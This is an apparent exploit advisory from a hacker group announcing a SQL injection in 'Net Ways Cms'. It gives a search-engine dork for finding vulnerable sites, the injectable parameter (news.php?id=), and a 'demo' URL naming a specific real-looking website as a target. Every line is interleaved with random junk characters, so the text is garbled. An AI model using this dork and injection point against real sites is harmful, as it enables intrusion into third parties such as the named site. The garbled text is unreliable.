################################################################################??########
6 T5 r4 m9 \0 G, m! G#
7 i+ R9 d, U$ A9 Z' U4 K0 J# Exploit Title : Net Ways Cms Sql Injection Vulnerability
, _8 G" B* g; N W0 E+ d+ X#
: Z8 z: T6 x' S L, }4 a7 J# Author : IrIsT.Ir , O! x7 V0 N( L3 b$ }
#
) a7 W9 x; U$ `+ v# Discovered By : Am!r ) E5 ~* d; r; Y& _& D r! k
#
: @5 m2 @6 y& G( [# w4 i, a# Home : http://IrIsT.Ir/forum # \' U3 v, h4 J+ [- m, _! u
#
& L' Q" H% }. S# Software Link : http://www.netways.com/ www.political-security.com
! C' M% y, [' a; a% [# C2 d7 G# : [3 Z9 X8 m$ Q3 |3 E
# Security Risk : High 9 |+ Z- l/ w% p8 i
#
2 |; v+ t8 l5 T/ _( h# Version : All Version , E5 Z7 I4 b% b ~( j
#
: J% q. N. [ Y# Tested on : GNU/Linux Ubuntu - Windows Server - win7 1 E8 ?8 a0 u% ], b! j4 |
# . G# s. p: E& ]0 q) f) d* Y2 A
# Dork : intext:"Designed & developed by NetWays"
+ L" K5 ~1 T( O, P: I' r# " r v% l. d2 _
################################################################################??######## 0 @) m1 x/ }. j+ e, p. v
#
( S1 D7 v. I9 t' l$ h! ^# Expl0iTs :
" P# s; F% g4 G) L( W( i+ z5 _. m: d# , [, K8 G5 P5 i) ?
# http://target.com/news.php?id=[Sql]
q" E: ^7 R9 i+ i, y3 F" S# w6 Z# 9 X( z$ e ]& E' R, s
# ^: ~; Z+ |. {7 U' s4 o
# D3mo :
8 \/ m% Q3 f: k" D) L7 R0 E#
+ H4 J. A3 s. K4 L) \0 h: f' q# http://compagnieparento.com/news.php?id=7[Sql] 3 P+ f9 V/ j$ v; i
#
y- [- k. `; R7 \################################################################################??######## : N6 @! ?, k7 x4 ^
#
" z2 a8 h. q8 g1 N# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
, ~2 U! ]" E( l8 u9 [& T#
9 d3 F. Q% w3 w$ o8 H" P# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r / j- D% K( P7 R" d- H
#
- V" D0 d/ u( N. l% M# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum + [+ P0 D/ G* N' P# ^. y
# 3 t6 T% U: `4 Z0 F8 ~: H1 G
################################################################################??######## |